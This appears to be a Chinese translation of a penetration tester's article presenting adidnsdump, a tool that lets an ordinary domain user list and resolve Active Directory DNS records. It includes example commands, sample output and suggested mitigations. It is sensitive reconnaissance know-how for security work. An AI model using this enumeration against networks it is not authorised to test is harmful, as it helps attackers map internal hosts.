就个人而言,每当我接手一个新的渗透测试任务时,我会去了解网络布局,使用了那些软件以及数据的位置。如果公司有非描述性的服务器名称或描述,像BloodHound或ldapdomaindump这样的工具不会有太大帮助,因为SRV00001.company.local仍然没有告诉我在这台主机上运行的是什么。在大量IP地址上运行EyeWitness等发现工具通常会返回大量默认的Apache / IIS页面,因为大多数站点都配置为侦听DNS名称而不是IP地址。此时你如果知道DNS记录,可能就会发现SRV00001.company.local和gitlab.company.local指向同一个IP,这个IP上可能存放着大量源码。因此,我认为访问AD的DNS记录非常有价值。为此我编写了一个可以转储这些DNS记录的Adidnsdump。你既可以直接在网络中的主机运行它,也可以通过SOCKS隧道利用。

0×02

该工具的设计思路,是在我研究Active Directory DNS时开始的,主要受到Kevin Robertson在ADIDNS 上工作的启发。当我作为普通用户提取了ADSI Edit并突然看到了域中所有DNS记录时,我试图找出AD如何在LDAP中使用域来存储DNS记录。令我惊讶的是,早在2013年,就有人开发出可以提取DNS记录的PowerShell脚本,但它并没有完全符合我的要求,所以我决定用Python编写一个版本,并添加一些选项来枚举比默认情况下更多的记录。

0×03

在LDAP中查询DNS记录的最明显方法是执行查询,选择该类的所有对象,这些对象dnsNode表示DNS区域中的条目。当我使用过滤器执行查询时(objectClass=dnsNode),这会返回非常有限的结果,即使我可以看不到更多记录:

1.png

如上图所示,很多记录的objectClass都处于隐藏状态。这是因为计算机DNS记录的默认权限(我认为其他记录也不是通过AD DNS gui创建的),这些记录不允许所有用户查看内容。由于IP地址实际上存储为此对象的属性,因此无法查看这些记录的IP地址。

但是,默认情况下,任何用户都可以创建新的DNS记录,任何用户也可以默认列出DNS区域的子对象。所以我们知道有记录,我们只是无法使用LDAP查询它。

2.png

通过使用LDAP枚举知道记录所在的位置之后,我们就可以直接使用DNS查询它,因为执行常规DNS查询不需要什么特别权限,这样我们就可以解析域中的所有记录。

0×04

使用adidnsdump,您可以从GitHub获取,可以枚举DNS区域中的所有记录。首先,首先显示您当前所在域中的区域--print-zones。这将显示存在哪些区域。并非所有区域都很有趣,例如转发,缓存和存根区域不包含该域的所有记录。如果找到这些区域,最好查询它们实际所属的域。下面的输出显示我的测试域只有默认区域:

[email protected]:~/adidnsdump$ adidnsdump -u icorp\\testuser --print-zones icorp-dc.internal.corp
Password:
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Found 2 domain DNS zones:
  internal.corp
  RootDNSServers
[-] Found 2 forest DNS zones:
  ..TrustAnchors
  _msdcs.internal.corp

如果我们为工具指定区域(或者为默认区域指定为空),我们将获得所有记录的列表。显示可以列出所谓的“隐藏”记录,但仅显示问号,因为不知道哪种类型的记录存在以及它指向何处。记录全部保存到名为的文件中records.csv

3.png

要解析未知记录,请指定-r标志,该标志将对A所有未知记录执行查询(AAAA如果您在IPv6网络中,则可以在代码中轻松将其更改为)。之前空白的几个节点突然有记录:

4.png

如果您没有直接连接但是通过代理工作,则可以通过socks代理该工具并使用该--dns-tcp标志在TCP上执行DNS查询。

缓解措施

为了安全起见,我建议你首先要对DNS记录的安全性持有客观的认知态度。如果你确实要隐藏DNS记录,就请删除“Everyone”和“Pre-Windows 2000 Compatible Access”的“列出内容”权限,以阻止普通用户查询DNS记录。但这可能会产生负面影响,所以我不建议那样做。

所以最好的办法是及时检测DNS查询活动的出现,通过监控大量DNS查询或启用对DNS区域列表的审计可能是一种更好的缓解措施。

工具

adidnsdump可在GitHub和PyPI(pip install adidnsdump)上下载。该工具还可以将记录转储到CSV文件,但随时可以提交替代格式的请求。

*参考来源:dirkjanm,FB小编周大涛编译,转载请注明来自FreeBuf.COM